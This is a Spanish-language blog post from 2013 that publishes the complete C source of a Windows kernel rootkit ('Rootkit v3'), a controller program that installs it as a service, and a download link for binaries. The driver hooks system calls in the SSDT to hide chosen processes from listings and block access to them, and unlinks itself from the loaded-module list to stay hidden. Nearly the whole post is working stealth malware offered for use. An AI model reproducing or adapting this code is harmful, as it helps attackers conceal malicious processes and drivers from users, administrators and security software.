viernes, 24 de mayo de 2013

Rootkit v3

En esta versión preferí dedicarme a proteger el driver, usando DKOM manipulo la PsLoadedModuleList aprovechando que no hay cambios entre SO y borrar el rastro del driver. Como siempre adjuntos binarios y código fuente, hice pequeños cambios en el mensajero también se adjunta.

Unas imagenes.

 photo Captura-6_zps932b1fc8.png
 photo Captura2-2_zpsa5944e57.png
 photo Captura3-2_zps5e9db873.png

Mensajero
#include 
#include 
#include 
 
#define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define HideDriver CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000003, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
 
void Usage(char *name);
char *ExtractFileName(char *Name);
void SendPID(int PID, DWORD IoState);
 
int main(int argc, char *argv[])
{
  int i = 1;
  if (argc == 1) {
    Usage(argv[0]);
    return 0;
  }
  if (strlen(argv[1]) != 2){
    Usage(argv[0]);
    return 0;
  }
  switch (argv[1][1]){
    case 'i' :
    {
      //Se abre el administrador de servicios con la flag CREATE_SERVICE
      SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
      if (SCMan == NULL){
        printf("No se tienen los permisos necesarios para acceder a los servicios\n");
        return 0; 
      }
      //Crea el servicio tipo Driver, que inicie con el sistema
      SC_HANDLE Serv = CreateService(SCMan, argv[2], argv[2],
                                    SERVICE_ALL_ACCESS, // Desired Access 
                                    SERVICE_KERNEL_DRIVER, // Service Type 
                                    SERVICE_DEMAND_START, // Start Type 
                                    SERVICE_ERROR_NORMAL, // Error Controle 
                                    argv[3], NULL, NULL, NULL, NULL, NULL);
      printf("Ruta: %s\n", argv[3]);
      if (Serv == NULL){
        if (GetLastError() == 1073){ //El error 0x431 significa que ya existe el servico
          Serv = OpenService(SCMan, argv[2], SERVICE_ALL_ACCESS); //Simplemente obtenemos el handle
          if (Serv == NULL){
            printf("No se puede abrir el servicio\n");
            printf("Error 0x%x", GetLastError()); 
            return 0;
          }
        } else {
          printf("No se puede crear el servicio\n"); 
          printf("Error 0x%x", GetLastError());
          return 0;
        }
      }
      if (!StartService(Serv, 0, NULL)){ //Iniciamos el servicio
        printf("No se puede iniciar el servicio\n");
        printf("Error 0x%x", GetLastError());
        return 0; 
      }
      printf("El servicio %s se ha instalado e iniciado...", argv[2]);
      CloseServiceHandle(Serv); //Cerramos el handle del servicio
      CloseServiceHandle(SCMan); //Cerramos el handle del administrador de servcios
      break;
    }
    case 'd':{
      //Abrimos el admin de servicios
      SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
      if (SCMan == NULL){
        printf("No se tienen los permisos necesarios para acceder a los servicios\n");
        return 0; 
      }
      //Se obtiene un handle del servicio
      SC_HANDLE Serv = OpenService(SCMan, argv[2], SERVICE_ALL_ACCESS);
      if (Serv == NULL){
        printf("Error abriendo el servicio %d\n", GetLastError());
        return 0;
      }
      SERVICE_STATUS servStatus; //Enviamos la señal STOP_SERVICE
      BOOL bRet = ControlService(Serv, SERVICE_CONTROL_STOP, &servStatus);
      if (!bRet && (GetLastError() != ERROR_SERVICE_NOT_ACTIVE)){ //Este error significa que ya esta detenido
        printf("No se ha podido detener el servicio\nError: %d", GetLastError());
        return 0; 
      }
      if (!DeleteService(Serv)){ //Lo eliminamos
        printf("Error eliminando el servicio %d", GetLastError());
        return 0;
      }
      printf("Servicio %s detenido y desinstalado", argv[2]);
      CloseServiceHandle(Serv); //Cerramos el handle del servicio
      CloseServiceHandle(SCMan); //Cerramos el handle del administrador de servcios
      break;
    }
     
    case 'h':{
      printf("Proteccion de PID\n");
      SendPID(atoi(argv[2]), Block);
      break;
    }
     
    case 'u':{
      printf("Liberación de PID\n");
      SendPID(atoi(argv[2]), Unblock);
      break; 
    }
    
    case 'm':{
      printf("Ocultando driver\n"); 
      SendPID(0, HideDriver);
      break;
    }
  }
  //system("PAUSE");    
  return 0;
}
 
void Usage(char *name){
  printf("%s [opciones] [parametros]\n", ExtractFileName(name));
  printf("   -i [Nombre] [Ruta]    Carga y crea el servicio del driver.\n");
  printf("   -d [Nombre]           Detiene y elimina en servicio del driver.\n");
  printf("   -h [PID]              Protege un proceso.\n");
  printf("   -u [PID]              Libera un proceso.\n");
  printf("   -m                    Oculta el driver por DKOM\n");
}
 
char *ExtractFileName(char *name){
  int len = strlen(name);
   
  while (len > 0){
    if ((int)name[len] != 92)
      len--;
    else {
      len++;
      break;
    }
  }
  int iname = strlen(name) - len;
  char *ret = malloc((iname + 1)*sizeof(char));
  strcpy(ret, name + len);
  return ret;
}
 
void SendPID(int PID, DWORD IoState){
  HANDLE hDevice;
  BOOL bRet;
  DWORD a, dwState;
  int iBuffer, oBuffer;
   
  //iBuffer = PID;
  hDevice = CreateFile("\\\\.\\driverpid", GENERIC_WRITE | GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);
  if (hDevice != INVALID_HANDLE_VALUE)
  {
    printf("Handle Device: %d\n", hDevice);
    /*if (bBlock)
      dwState = (DWORD)Block; 
    else
      dwState = (DWORD)Unblock;*/
     
    printf("Enviando peticion\n");
    bRet = DeviceIoControl(hDevice, IoState, &PID, sizeof(int), &oBuffer, sizeof(int), &a, NULL);
    if (bRet)
      printf("PID: %d se respondio %d\n", iBuffer, oBuffer);  
  } else { 
    printf("No se puede establecer conexion\n");
    printf("0x%08x\n",GetLastError()); 
  }
}
hook.h
#include 

#ifndef _HOOK_H_
  #define _HOOK_H_
#endif

typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

typedef struct _SYSTEM_THREAD {
  LARGE_INTEGER           KernelTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           CreateTime;
  ULONG                   WaitTime;
  PVOID                   StartAddress;
  CLIENT_ID               ClientId;
  KPRIORITY               Priority;
  LONG                    BasePriority;
  ULONG                   ContextSwitchCount;
  ULONG                   State;
  KWAIT_REASON            WaitReason;
} SYSTEM_THREAD, *PSYSTEM_THREAD;

typedef struct _SYSTEM_PROCESS_INFORMATION {
  ULONG                   NextEntryOffset;
  ULONG                   NumberOfThreads;
  LARGE_INTEGER           Reserved[3];
  LARGE_INTEGER           CreateTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           KernelTime;
  UNICODE_STRING          ImageName;
  KPRIORITY               BasePriority;
  HANDLE                  ProcessId;
  HANDLE                  InheritedFromProcessId;
  ULONG                   HandleCount;
  ULONG                   Reserved2[2];
  ULONG                   PrivatePageCount;
  VM_COUNTERS             VirtualMemoryCounters;
  IO_COUNTERS             IoCounters;
  SYSTEM_THREAD           Threads[0];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

typedef struct _MODULE_ENTRY {
		LIST_ENTRY Link; // FLink and BLink
		ULONG Unknown[4];
		ULONG ImageBase;
		ULONG EntryPoint;
		ULONG ImageSize;
		UNICODE_STRING DriverPath;
		UNICODE_STRING DriverName;
	} MODULE_ENTRY, *PMODULE_ENTRY;
 
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
#define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define HideDriver CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000003, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)

typedef DWORD (ULONG);
PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
 
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
 
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
 
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
main.c
#include 
#include "hook.h"

//Declaramos la API para poder trabajar con ella.
NTSYSAPI NTSTATUS NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);

typedef NTSTATUS (*TypZwQuerySysInfo)(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
TypZwQuerySysInfo ZwQuerySysInfoIni;

typedef NTSTATUS (*TypZwOpenProc)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
TypZwOpenProc ZwOpenProcessIni;

const WCHAR   	Device[]=L"\\device\\driverpid";
const WCHAR		sLink[]=L"\\??\\driverpid";
USHORT ListPID[3];
UNICODE_STRING	Dev, lnk;
PVOID DriverCurrent = NULL;
//int ListPID;

int SearchPID(HANDLE PID){
  int i;
  
  for (i = 0; i < 3; i++){
    if ((HANDLE)ListPID[i] == PID) 
      return i;
  } 
  return -1;
}

int FreeIndex(){
  int i;
  
  for (i = 0; i < 3; i++){
    if (ListPID[i] == 0) 
      return i;
  } 
  return -1;
}

/*
Función que es llamada para cualquier interacción con el driver
Pero, solo maneja los I/O por medio de IRPs
*/

NTSTATUS IOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){
  PIO_STACK_LOCATION Stack;
  PUSHORT oBuffer;
  PUSHORT iBuffer;
  int i;
  NTSTATUS Status = STATUS_SUCCESS;
  PMODULE_ENTRY Module;
  
  Stack = IoGetCurrentIrpStackLocation(Irp);
      
  iBuffer = oBuffer = (PUSHORT)Irp->AssociatedIrp.SystemBuffer;
  if (oBuffer && iBuffer){
    DbgPrint("Accesando a bloqueo de PID");
    DbgPrint("Asociando buffers...");
    if(Stack->Parameters.DeviceIoControl.InputBufferLength == sizeof(int)){
      DbgPrint("Peticion recibida a PID: %d", *iBuffer);
      if(Stack->Parameters.DeviceIoControl.OutputBufferLength == sizeof(int)){
        DbgPrint("Revisando estado de lista.");
        Irp->IoStatus.Information = sizeof(int);
        switch(Stack->Parameters.DeviceIoControl.IoControlCode){
          case Block:
          {
            //if (ListPID == 0){
            i = FreeIndex();
            if (i >= 0){
              DbgPrint("Protegiendo PID %d.", *iBuffer);
              ListPID[i] = (USHORT)*iBuffer;
              *oBuffer = 1;
            } else {
              *oBuffer = 0;
              DbgPrint("No hay espacio para proteger.");  
            }
            break;
          }
    
          case Unblock:
          {
            DbgPrint("Eliminando proteccion"); 
            i = SearchPID((HANDLE)*iBuffer);
            if (i >= 0){
            //if (ListPID != 0){
              DbgPrint("Liberando PID %d.", *iBuffer);
              ListPID[i] = 0;
              *oBuffer = 1;
            } else {
              *oBuffer = 0;
              DbgPrint("No hay procesos protegidos.");  
            }
          }
		  case HideDriver:
			{
				PVOID First;
				DbgPrint("Current: %8X", DriverCurrent);
				__asm
				{
					mov eax, dword ptr fs:[0x1C]	 // KPCR
					mov eax,[eax+0x34]	 //KPCR -> KdVersionBlock
					mov eax,[eax+0x70]	 //KDDEBUGGER_DATA32 -> PsLoadedModulesList
					mov Module,eax
				}
				First = (PVOID)Module;
				Module = (PMODULE_ENTRY)Module->Link.Flink;
				while (((ULONG)Module->Link.Flink != 0) && (Module->Link.Flink != First)){
					if ((PVOID)Module == DriverCurrent){
						((PMODULE_ENTRY)Module->Link.Blink)->Link.Flink = Module->Link.Flink;
						((PMODULE_ENTRY)Module->Link.Flink)->Link.Blink = Module->Link.Blink;
						DbgPrint("Se ha ocultado el driver.");
					}
					Module = (PMODULE_ENTRY)Module->Link.Flink;
				}
				break;
			}
		  default:
			  Status = STATUS_SUCCESS;
			  break;
        } //Switch
      } else {
        Status = STATUS_BUFFER_TOO_SMALL; 
        Irp->IoStatus.Information = 0;
      } //Buffer Small
    } //In buffer
  } //Asociar buffer
  Irp->IoStatus.Status = STATUS_SUCCESS;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);
  return Status;
}

NTSTATUS NewZwQuerySysInfo(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength)
{
	NTSTATUS Status;
	PSYSTEM_PROCESS_INFORMATION Actual, Next;
	int i;
  
	Status = ZwQuerySysInfoIni(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
  //DbgPrint("Llamada a la API original");
  
	if (SystemInformationClass != 5)//Si no llaman a la API para los procesos no nos importa
		return Status;
  //DbgPrint("Han pedido informacion de procesos");
    
	if (!NT_SUCCESS(Status))//En este punto han llamado para los procesos, pero algo fallo
		return Status;
  
  //Cargamos el primer proceso que es 0 (?)
	Actual = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
  //Si es el ultimo proceso esta entrada esta seteada en 0
  //Por tanto si es el ultimo no se ejecuta el bloque while
	while (Actual->NextEntryOffset){ 
    //Cargamos el siguiente proceso
		Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Actual + Actual->NextEntryOffset);
    //Si el PID del proceso es igual al que estamos protegiendo
    //Y el PID a proteger no es 0 (ningún PID a proteger)
		i = SearchPID(Next->ProcessId);
		if (Next->ProcessId != 0){
			while (i >= 0){
				DbgPrint("Ocultando Proceso: %d", ListPID[i]);
      //En este caso si esta entrada esta seteada a 0 el siguiente proceso es el ultimo
				if (Next->NextEntryOffset == 0)
        //Así que hacemos que el proceso actual sea el ultimo
					Actual->NextEntryOffset = 0;
				else
					Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset;
          
				Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Next + Next->NextEntryOffset); 
				i = SearchPID(Next->ProcessId); 
			}
      //Si no es el ultimo sumamos las entradas del actual y del siguiente
      //Para saltar la entrada de nuestro proceso
      //Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset;
      //No salimos del break porque puede haber mas procesos a ocultar
		}
    //Cargamos el siguiente bloque de proceso
		Actual = (PSYSTEM_PROCESS_INFORMATION)((char *)Actual + Actual->NextEntryOffset);
	}
	return Status;
}
 
NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL)
{
	HANDLE PID;
 
	__try //Utilizamos el bloque try para evitar BSOD
	{
		PID = ClientId->UniqueProcess;
	}
	__except(EXCEPTION_EXECUTE_HANDLER){
		return STATUS_INVALID_PARAMETER; //Regresamos un estado invalido para que la aplicación se ocupe
	}
 
	//Verificamos el pid
	if ((SearchPID(PID) >= 0) && (PID != 0)){
		//if (PID == (HANDLE)ListPID){
		DbgPrint("PID: %d", PID);
		return STATUS_ACCESS_DENIED; //Retornamos acceso denegado 
	} else return ZwOpenProcessIni(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); //Llamamos a la API nativa y retornamos el resultado correcto
}
 
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
	DbgPrint("Descargando driver...");
	//Unhookeamos 
	UNHOOK_SYSCALL( ZwOpenProcess, ZwOpenProcessIni, NewZwOpenProcess );
	UNHOOK_SYSCALL( ZwQuerySystemInformation, ZwQuerySysInfoIni, NewZwQuerySysInfo);
	DbgPrint("Eliminando Hooks");
	//Eliminamos la MDL
	if(g_pmdlSystemCall){
		MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
		IoFreeMdl(g_pmdlSystemCall);
	}
	DbgPrint("Proteccion a SSDT restaurada");
}

NTSTATUS DriverIODispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
	Irp->IoStatus.Status = STATUS_SUCCESS;   
    Irp->IoStatus.Information = 0;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
	NTSTATUS Status;
	DriverObject->DriverUnload  = OnUnload;
	DriverObject->MajorFunction[IRP_MJ_SHUTDOWN]        =   
	DriverObject->MajorFunction[IRP_MJ_CREATE]          =   
	DriverObject->MajorFunction[IRP_MJ_CLOSE]           = DriverIODispatch;  
	DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  = IOControl; 
   
   RtlInitUnicodeString(&Dev,Device);
   RtlInitUnicodeString(&lnk,sLink);
   DriverCurrent = DriverObject->DriverSection;
   
   //Creamos la MDL para deshabilitar la protección de memoria
   //g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   g_pmdlSystemCall = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4, FALSE, FALSE, NULL);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;
 
   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
 
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
 
   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
 
   Status = IoCreateDevice(DriverObject,0,&Dev,FILE_DEVICE_UNKNOWN,0,0,&DriverObject->DeviceObject);
 
	 if (NT_SUCCESS(Status)){
    Status =IoCreateSymbolicLink(&lnk,&Dev);
    DbgPrint("Creando device...");
		if(!NT_SUCCESS(Status)){
		   IoDeleteDevice(DriverObject->DeviceObject);
			 DbgPrint("Error creando link simbolico");
		}else
		  DbgPrint("SymbolicLink creado y cargado.");
	}else
		DbgPrint("Error creando el device.");
   
  DbgPrint("Driver cargado.");
  /*
  Hooking de las APIs
  Obtenemos la direccion de OpenProcess
  */
  ZwOpenProcessIni =(TypZwOpenProc)(SYSTEMSERVICE(ZwOpenProcess));
 
  DbgPrint("Hookeando OpenProcess...");
  /*
  Cambiamos la dirección de la SSDT por la nuestra
  */
  HOOK_SYSCALL( ZwOpenProcess, NewZwOpenProcess, ZwOpenProcessIni );
 
  ZwQuerySysInfoIni = (TypZwQuerySysInfo)(SYSTEMSERVICE(ZwQuerySystemInformation));
  
  DbgPrint("Hookeando QuerySysInfo...");
  HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySysInfo, ZwQuerySysInfoIni);
   return  Status;
}

Descarga: http://www.sendspace.com/file/6l3gxb

Saludos! :drinking:

No hay comentarios:

Publicar un comentario